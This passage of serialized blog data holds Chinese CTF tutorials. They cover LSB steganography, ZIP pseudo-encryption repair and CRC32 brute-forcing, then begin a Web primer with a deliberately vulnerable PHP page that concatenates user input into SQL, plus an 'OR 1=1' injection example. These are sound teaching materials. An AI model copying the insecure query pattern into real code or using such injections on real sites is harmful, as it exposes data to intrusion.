位再或上当前比特，等价于二进制拼接。\n",[29,11910,11911],{"class":31,"line":2602},[29,11912,5047],{},[29,11914,11915],{"class":31,"line":2608},[29,11916,11917],{},"        # 字节 0 是隐藏时追加的结束符。\n",[29,11919,11920],{"class":31,"line":2614},[29,11921,698],{},[29,11923,11924],{"class":31,"line":4050},[29,11925,5061],{},[29,11927,11928],{"class":31,"line":4056},[29,11929,42],{"emptyLinePlaceholder":41},[29,11931,11932],{"class":31,"line":4062},[29,11933,5070],{},[29,11935,11936],{"class":31,"line":4068},[29,11937,11938],{},"# decode()：字节串解码成字符串。\n",[15,11940,3503],{},[19,11942,11944],{"className":11943,"code":5081,"language":477,"meta":24},[475],[26,11945,5081],{"__ignoreMap":24},[235,11947,11949],{"id":11948},"_34-工具验证","3.4 工具验证",[19,11951,11953],{"className":113,"code":11952,"language":115,"meta":24,"style":24},"zsteg -a hidden.png\n",[26,11954,11955],{"__ignoreMap":24},[29,11956,11957,11959,11961],{"class":31,"line":32},[29,11958,5107],{"class":122},[29,11960,5110],{"class":815},[29,11962,4483],{"class":126},[15,11964,11965,11966,458],{},"预期输出中包含 ",[26,11967,11968],{},"flag{lsb_steganography}",[10,11970,11972],{"id":11971},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,11974,11975,11977],{},[216,11976,218],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,11979,11980,11982],{},[216,11981,224],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[235,11984,11986],{"id":11985},"_41-zip-结构","4.1 ZIP 结构",[15,11988,11989],{},"本地文件头：",[19,11991,11994],{"className":11992,"code":11993,"language":477,"meta":24},[475],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[26,11995,11993],{"__ignoreMap":24},[15,11997,11998,11999,12002],{},"中央目录头（签名 ",[26,12000,12001],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[235,12004,12006],{"id":12005},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,12008,12009,12011],{},[216,12010,218],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[19,12013,12015],{"className":21,"code":12014,"language":23,"meta":24,"style":24},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[26,12016,12017,12022,12026,12031,12036,12040,12045],{"__ignoreMap":24},[29,12018,12019],{"class":31,"line":32},[29,12020,12021],{},"import zipfile\n",[29,12023,12024],{"class":31,"line":38},[29,12025,42],{"emptyLinePlaceholder":41},[29,12027,12028],{"class":31,"line":45},[29,12029,12030],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[29,12032,12033],{"class":31,"line":51},[29,12034,12035],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[29,12037,12038],{"class":31,"line":56},[29,12039,42],{"emptyLinePlaceholder":41},[29,12041,12042],{"class":31,"line":62},[29,12043,12044],{},"data = open('flag.zip', 'rb').read()\n",[29,12046,12047],{"class":31,"line":68},[29,12048,12049],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,12051,3503],{},[19,12053,12056],{"className":12054,"code":12055,"language":477,"meta":24},[475],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[26,12057,12055],{"__ignoreMap":24},[15,12059,12060],{},"解释：",[19,12062,12065],{"className":12063,"code":12064,"language":477,"meta":24},[475],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[26,12066,12064],{"__ignoreMap":24},[235,12068,12070],{"id":12069},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12072,12073,12075],{},[216,12074,224],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[19,12077,12079],{"className":21,"code":12078,"language":23,"meta":24,"style":24},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[26,12080,12081,12086,12090,12095,12100,12105,12109,12114,12119,12124,12128],{"__ignoreMap":24},[29,12082,12083],{"class":31,"line":32},[29,12084,12085],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[29,12087,12088],{"class":31,"line":38},[29,12089,42],{"emptyLinePlaceholder":41},[29,12091,12092],{"class":31,"line":45},[29,12093,12094],{},"# 本地文件头：偏移 6 处标志位置位\n",[29,12096,12097],{"class":31,"line":51},[29,12098,12099],{},"idx = data.find(b'PK\\x03\\x04')\n",[29,12101,12102],{"class":31,"line":56},[29,12103,12104],{},"data[idx + 6] |= 1\n",[29,12106,12107],{"class":31,"line":62},[29,12108,42],{"emptyLinePlaceholder":41},[29,12110,12111],{"class":31,"line":68},[29,12112,12113],{},"# 中央目录头：偏移 8 处标志位置位\n",[29,12115,12116],{"class":31,"line":74},[29,12117,12118],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[29,12120,12121],{"class":31,"line":179},[29,12122,12123],{},"data[idx2 + 8] |= 1\n",[29,12125,12126],{"class":31,"line":185},[29,12127,42],{"emptyLinePlaceholder":41},[29,12129,12130],{"class":31,"line":190},[29,12131,12132],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12134,12135],{},"修改后的 hexdump：",[19,12137,12140],{"className":12138,"code":12139,"language":477,"meta":24},[475],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[26,12141,12139],{"__ignoreMap":24},[15,12143,12144],{},"尝试读取：",[19,12146,12148],{"className":21,"code":12147,"language":23,"meta":24,"style":24},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[26,12149,12150,12154,12158,12163,12168,12173,12178],{"__ignoreMap":24},[29,12151,12152],{"class":31,"line":32},[29,12153,12021],{},[29,12155,12156],{"class":31,"line":38},[29,12157,42],{"emptyLinePlaceholder":41},[29,12159,12160],{"class":31,"line":45},[29,12161,12162],{},"try:\n",[29,12164,12165],{"class":31,"line":51},[29,12166,12167],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[29,12169,12170],{"class":31,"line":56},[29,12171,12172],{},"        print(z.read('flag.txt'))\n",[29,12174,12175],{"class":31,"line":62},[29,12176,12177],{},"except Exception as e:\n",[29,12179,12180],{"class":31,"line":68},[29,12181,12182],{},"    print(type(e).__name__, e)\n",[15,12184,3503],{},[19,12186,12189],{"className":12187,"code":12188,"language":477,"meta":24},[475],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[26,12190,12188],{"__ignoreMap":24},[15,12192,12193],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[235,12195,12197],{"id":12196},"_44-修复","4.4 修复",[15,12199,12200,12202,12203,12206],{},[216,12201,224],{},"：把两处标志位最低位清零（",[26,12204,12205],{},"& 0xfe","），恢复成未加密状态。",[19,12208,12210],{"className":21,"code":12209,"language":23,"meta":24,"style":24},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[26,12211,12212,12217,12221,12225,12230,12234,12239,12243,12248,12252,12257],{"__ignoreMap":24},[29,12213,12214],{"class":31,"line":32},[29,12215,12216],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[29,12218,12219],{"class":31,"line":38},[29,12220,42],{"emptyLinePlaceholder":41},[29,12222,12223],{"class":31,"line":45},[29,12224,12099],{},[29,12226,12227],{"class":31,"line":51},[29,12228,12229],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[29,12231,12232],{"class":31,"line":56},[29,12233,12118],{},[29,12235,12236],{"class":31,"line":62},[29,12237,12238],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[29,12240,12241],{"class":31,"line":68},[29,12242,42],{"emptyLinePlaceholder":41},[29,12244,12245],{"class":31,"line":74},[29,12246,12247],{},"open('flag_fixed.zip', 'wb').write(data)\n",[29,12249,12250],{"class":31,"line":179},[29,12251,42],{"emptyLinePlaceholder":41},[29,12253,12254],{"class":31,"line":185},[29,12255,12256],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[29,12258,12259],{"class":31,"line":190},[29,12260,12261],{},"    print(z.read('flag.txt'))\n",[15,12263,3503],{},[19,12265,12268],{"className":12266,"code":12267,"language":477,"meta":24},[475],"b'ctf{zip}'\n",[26,12269,12267],{"__ignoreMap":24},[15,12271,12272,12273,12276],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[26,12274,12275],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12278,12280],{"id":12279},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12282,12283,12285],{},[216,12284,218],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12287,12288,12290],{},[216,12289,224],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12292,12293],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[19,12295,12297],{"className":21,"code":12296,"language":23,"meta":24,"style":24},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[26,12298,12299,12304,12309,12313,12318,12323,12328,12333,12337,12342,12347,12352,12357,12362,12367,12372,12377,12382,12387],{"__ignoreMap":24},[29,12300,12301],{"class":31,"line":32},[29,12302,12303],{},"import zipfile, zlib, itertools\n",[29,12305,12306],{"class":31,"line":38},[29,12307,12308],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[29,12310,12311],{"class":31,"line":45},[29,12312,42],{"emptyLinePlaceholder":41},[29,12314,12315],{"class":31,"line":51},[29,12316,12317],{},"z = zipfile.ZipFile('flag.zip')\n",[29,12319,12320],{"class":31,"line":56},[29,12321,12322],{},"target = z.getinfo('flag.txt').CRC\n",[29,12324,12325],{"class":31,"line":62},[29,12326,12327],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[29,12329,12330],{"class":31,"line":68},[29,12331,12332],{},"print(\"目标 CRC:\", target)\n",[29,12334,12335],{"class":31,"line":74},[29,12336,42],{"emptyLinePlaceholder":41},[29,12338,12339],{"class":31,"line":179},[29,12340,12341],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[29,12343,12344],{"class":31,"line":185},[29,12345,12346],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[29,12348,12349],{"class":31,"line":190},[29,12350,12351],{},"for length in range(1, 5):\n",[29,12353,12354],{"class":31,"line":677},[29,12355,12356],{},"    for tup in itertools.product(charset, repeat=length):\n",[29,12358,12359],{"class":31,"line":683},[29,12360,12361],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[29,12363,12364],{"class":31,"line":689},[29,12365,12366],{},"        s = ''.join(tup).encode()\n",[29,12368,12369],{"class":31,"line":695},[29,12370,12371],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[29,12373,12374],{"class":31,"line":2596},[29,12375,12376],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[29,12378,12379],{"class":31,"line":2602},[29,12380,12381],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[29,12383,12384],{"class":31,"line":2608},[29,12385,12386],{},"            print(\"爆破结果:\", s)\n",[29,12388,12389],{"class":31,"line":2614},[29,12390,12391],{},"            exit()\n",[15,12393,12394,12395,12398],{},"实际输出（目标内容 ",[26,12396,12397],{},"ctf1","）：",[19,12400,12403],{"className":12401,"code":12402,"language":477,"meta":24},[475],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[26,12404,12402],{"__ignoreMap":24},[15,12406,12407,12408,12411,12412,12415],{},"注意 ",[26,12409,12410],{},"zlib.crc32"," 返回有符号整数，需要 ",[26,12413,12414],{},"& 0xffffffff"," 归一化。",[10,12417,783],{"id":782},[342,12419,12420,12430],{},[345,12421,12422],{},[348,12423,12424,12426,12428],{},[351,12425,2139],{},[351,12427,2142],{},[351,12429,5133],{},[361,12431,12432,12444,12458,12471],{},[348,12433,12434,12436,12439],{},[366,12435,1280],{},[366,12437,12438],{},"看类型",[366,12440,12441],{},[26,12442,12443],{},"file flag.png",[348,12445,12446,12448,12451],{},[366,12447,4540],{},[366,12449,12450],{},"看文件头与结构",[366,12452,12453,435,12455],{},[26,12454,5160],{},[26,12456,12457],{},"xxd flag.zip | head",[348,12459,12460,12462,12465],{},[366,12461,4632],{},[366,12463,12464],{},"扫描/提取隐藏文件",[366,12466,12467,435,12469],{},[26,12468,5188],{},[26,12470,5191],{},[348,12472,12473,12475,12478],{},[366,12474,5107],{},[366,12476,12477],{},"LSB 自动检测",[366,12479,12480],{},[26,12481,12482],{},"zsteg -a flag.png",[10,12484,12486],{"id":12485},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12488,12489,12491],{},[216,12490,218],{},"：把前三节串成一道完整题目。",[15,12493,12494,12496],{},[216,12495,224],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12498,978,12499,458],{},[26,12500,5200],{},[15,12502,5203],{},[19,12504,12506],{"className":113,"code":12505,"language":115,"meta":24,"style":24},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[26,12507,12508,12517,12534],{"__ignoreMap":24},[29,12509,12510,12512,12514],{"class":31,"line":32},[29,12511,1280],{"class":122},[29,12513,4511],{"class":126},[29,12515,12516],{"class":807},"          # PNG image data\n",[29,12518,12519,12521,12523,12525,12527,12529,12531],{"class":31,"line":38},[29,12520,1323],{"class":122},[29,12522,4511],{"class":126},[29,12524,1511],{"class":277},[29,12526,1514],{"class":122},[29,12528,4609],{"class":815},[29,12530,6259],{"class":126},[29,12532,12533],{"class":807},"    # 无输出\n",[29,12535,12536,12538,12540],{"class":31,"line":45},[29,12537,4632],{"class":122},[29,12539,4511],{"class":126},[29,12541,12542],{"class":807},"                   # 无隐藏文件\n",[15,12544,12545],{},"第二步：怀疑 LSB，运行提取脚本：",[19,12547,12549],{"className":12548,"code":5081,"language":477,"meta":24},[475],[26,12550,5081],{"__ignoreMap":24},[15,12552,12553,12554,12556],{},"变体：若提取出的字节不是文本而是 ",[26,12555,4418],{}," 开头，把它保存为 zip，再检查是否伪加密：",[19,12558,12560],{"className":21,"code":12559,"language":23,"meta":24,"style":24},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[26,12561,12562,12567],{"__ignoreMap":24},[29,12563,12564],{"class":31,"line":32},[29,12565,12566],{},"with open('extracted.zip', 'wb') as f:\n",[29,12568,12569],{"class":31,"line":38},[29,12570,12571],{},"    f.write(data)\n",[15,12573,12574],{},"然后按第四节流程检查并修复标志位。",[10,12576,1097],{"id":1096},[15,12578,12579,12580,12582,12583,1110,12585,12587],{},"取证主线：",[26,12581,1280],{}," 确认类型 → ",[26,12584,1323],{},[26,12586,4632],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1116,12589,12590],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":12592},[12593,12594,12595,12596,12597,12598,12599,12600],{"id":11595,"depth":45,"text":11596},{"id":1211,"depth":45,"text":1212},{"id":11641,"depth":45,"text":11642},{"id":11971,"depth":45,"text":11972},{"id":12279,"depth":45,"text":12280},{"id":782,"depth":45,"text":783},{"id":12485,"depth":45,"text":12486},{"id":1096,"depth":45,"text":1097},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1132,"image":3326,"alt":12603,"tags":12604,"published":41},"隐写与取证深入实战",[1136,5299,12605,1139],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11590,"description":12601},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12611,"title":12612,"body":12613,"description":14460,"extension":1130,"meta":14461,"navigation":41,"ogImage":14462,"path":14465,"seo":14466,"stem":14467,"__hash__":14468},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12614,"toc":14448},[12615,12619,12622,12641,12647,12653,12655,12713,12723,12727,12730,12818,12821,12825,12829,12832,12835,12863,12868,12980,12983,12996,13000,13002,13016,13018,13023,13027,13035,13048,13053,13056,13086,13089,13094,13097,13100,13125,13130,13133,13158,13161,13169,13173,13178,13186,13189,13214,13217,13247,13252,13255,13280,13284,13287,13322,13326,13329,13359,13363,13366,13389,13393,13406,13416,13420,13425,13442,13446,13452,13461,13465,13481,13486,13490,13506,13508,13554,13563,13567,13570,13617,13624,13628,13631,13702,13709,13713,13718,13742,13746,13752,13785,13789,13820,13822,13828,13832,13863,13866,13870,13901,13904,13908,13933,13937,13940,13943,13957,13961,13966,13998,14007,14013,14044,14047,14051,14054,14108,14111,14115,14118,14121,14139,14141,14146,14149,14167,14172,14175,14201,14208,14212,14219,14239,14243,14248,14278,14283,14287,14296,14316,14318,14346,14349,14358,14367,14381,14385,14390,14433,14440,14442,14445],[10,12616,12618],{"id":12617},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12620,12621],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[19,12623,12625],{"className":113,"code":12624,"language":115,"meta":24,"style":24},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[26,12626,12627],{"__ignoreMap":24},[29,12628,12629,12631,12634,12636,12639],{"class":31,"line":32},[29,12630,248],{"class":122},[29,12632,12633],{"class":815}," -v",[29,12635,252],{"class":251},[29,12637,12638],{"class":126},"http://127.0.0.1:8000/index.php?id=1",[29,12640,258],{"class":251},[15,12642,12643,12646],{},[26,12644,12645],{},"-v"," 会显示完整过程，输出示例：",[19,12648,12651],{"className":12649,"code":12650,"language":477,"meta":24},[475],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[26,12652,12650],{"__ignoreMap":24},[15,12654,12060],{},[342,12656,12657,12666],{},[345,12658,12659],{},[348,12660,12661,12664],{},[351,12662,12663],{},"部分",[351,12665,1604],{},[361,12667,12668,12685,12695,12705],{},[348,12669,12670,12675],{},[366,12671,12672],{},[26,12673,12674],{},"GET /index.php?id=1",[366,12676,12677,12678,12681,12682],{},"方法 GET，路径 ",[26,12679,12680],{},"/index.php","，参数 ",[26,12683,12684],{},"id=1",[348,12686,12687,12692],{},[366,12688,12689],{},[26,12690,12691],{},"Host",[366,12693,12694],{},"目标主机",[348,12696,12697,12702],{},[366,12698,12699],{},[26,12700,12701],{},"HTTP/1.1 200 OK",[366,12703,12704],{},"协议版本与状态码，200 表示成功",[348,12706,12707,12710],{},[366,12708,12709],{},"正文",[366,12711,12712],{},"服务器返回的 HTML",[15,12714,12715,12716,12722],{},"Web 漏洞几乎都源于一件事：",[216,12717,12718,12719,12721],{},"参数 ",[26,12720,449],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12724,12726],{"id":12725},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12728,12729],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[19,12731,12733],{"className":113,"code":12732,"language":115,"meta":24,"style":24},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[26,12734,12735,12740,12755,12763,12769,12781,12785,12790,12801],{"__ignoreMap":24},[29,12736,12737],{"class":31,"line":32},[29,12738,12739],{"class":807},"# 方式一：源码部署（需要 PHP + MySQL）\n",[29,12741,12742,12744,12746,12749,12752],{"class":31,"line":38},[29,12743,1225],{"class":122},[29,12745,127],{"class":126},[29,12747,12748],{"class":126}," php",[29,12750,12751],{"class":126}," php-mysql",[29,12753,12754],{"class":126}," mariadb-server\n",[29,12756,12757,12759,12761],{"class":31,"line":45},[29,12758,906],{"class":122},[29,12760,909],{"class":126},[29,12762,5382],{"class":126},[29,12764,12765,12767],{"class":31,"line":51},[29,12766,918],{"class":917},[29,12768,5389],{"class":126},[29,12770,12771,12773,12775,12778],{"class":31,"line":56},[29,12772,5320],{"class":122},[29,12774,5396],{"class":815},[29,12776,12777],{"class":126}," 127.0.0.1:8000",[29,12779,12780],{"class":807},"        # 启动后浏览器访问，点 Setup/reset Database\n",[29,12782,12783],{"class":31,"line":62},[29,12784,42],{"emptyLinePlaceholder":41},[29,12786,12787],{"class":31,"line":68},[29,12788,12789],{"class":807},"# 方式二：Docker 部署（最简单）\n",[29,12791,12792,12795,12798],{"class":31,"line":74},[29,12793,12794],{"class":122},"docker",[29,12796,12797],{"class":126}," pull",[29,12799,12800],{"class":126}," tavenli/sqli-labs\n",[29,12802,12803,12805,12808,12810,12813,12816],{"class":31,"line":179},[29,12804,12794],{"class":122},[29,12806,12807],{"class":126}," run",[29,12809,1479],{"class":815},[29,12811,12812],{"class":815}," -p",[29,12814,12815],{"class":126}," 8000:80",[29,12817,12800],{"class":126},[15,12819,12820],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12822,12824],{"id":12823},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[235,12826,12828],{"id":12827},"_31-平台与代码","3.1 平台与代码",[15,12830,12831],{},"平台：Linux + PHP + MySQL。",[15,12833,12834],{},"第一步，建数据库。在 MySQL 里执行：",[19,12836,12837],{"className":5345,"code":5415,"language":5347,"meta":24,"style":24},[26,12838,12839,12843,12847,12851,12855,12859],{"__ignoreMap":24},[29,12840,12841],{"class":31,"line":32},[29,12842,5422],{},[29,12844,12845],{"class":31,"line":38},[29,12846,5427],{},[29,12848,12849],{"class":31,"line":45},[29,12850,5432],{},[29,12852,12853],{"class":31,"line":51},[29,12854,5437],{},[29,12856,12857],{"class":31,"line":56},[29,12858,5442],{},[29,12860,12861],{"class":31,"line":62},[29,12862,5447],{},[15,12864,12865,12866,137],{},"第二步，写漏洞页面 ",[26,12867,5452],{},[19,12869,12871],{"className":5318,"code":12870,"language":5320,"meta":24,"style":24},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[26,12872,12873,12877,12881,12886,12891,12895,12899,12904,12909,12913,12917,12922,12927,12932,12936,12940,12945,12949,12953,12958,12963,12967,12972,12976],{"__ignoreMap":24},[29,12874,12875],{"class":31,"line":32},[29,12876,5462],{},[29,12878,12879],{"class":31,"line":38},[29,12880,5467],{},[29,12882,12883],{"class":31,"line":45},[29,12884,12885],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[29,12887,12888],{"class":31,"line":51},[29,12889,12890],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[29,12892,12893],{"class":31,"line":56},[29,12894,42],{"emptyLinePlaceholder":41},[29,12896,12897],{"class":31,"line":62},[29,12898,5327],{},[29,12900,12901],{"class":31,"line":68},[29,12902,12903],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[29,12905,12906],{"class":31,"line":74},[29,12907,12908],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[29,12910,12911],{"class":31,"line":179},[29,12912,42],{"emptyLinePlaceholder":41},[29,12914,12915],{"class":31,"line":185},[29,12916,5476],{},[29,12918,12919],{"class":31,"line":190},[29,12920,12921],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[29,12923,12924],{"class":31,"line":677},[29,12925,12926],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[29,12928,12929],{"class":31,"line":683},[29,12930,12931],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[29,12933,12934],{"class":31,"line":689},[29,12935,42],{"emptyLinePlaceholder":41},[29,12937,12938],{"class":31,"line":695},[29,12939,5481],{},[29,12941,12942],{"class":31,"line":2596},[29,12943,12944],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[29,12946,12947],{"class":31,"line":2602},[29,12948,42],{"emptyLinePlaceholder":41},[29,12950,12951],{"class":31,"line":2608},[29,12952,5486],{},[29,12954,12955],{"class":31,"line":2614},[29,12956,12957],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[29,12959,12960],{"class":31,"line":4050},[29,12961,12962],{},"    // 取不到更多行时返回 null，while 结束。\n",[29,12964,12965],{"class":31,"line":4056},[29,12966,5491],{},[29,12968,12969],{"class":31,"line":4062},[29,12970,12971],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[29,12973,12974],{"class":31,"line":4068},[29,12975,2551],{},[29,12977,12978],{"class":31,"line":4074},[29,12979,5500],{},[15,12981,12982],{},"第三步，启动：",[19,12984,12986],{"className":113,"code":12985,"language":115,"meta":24,"style":24},"php -S 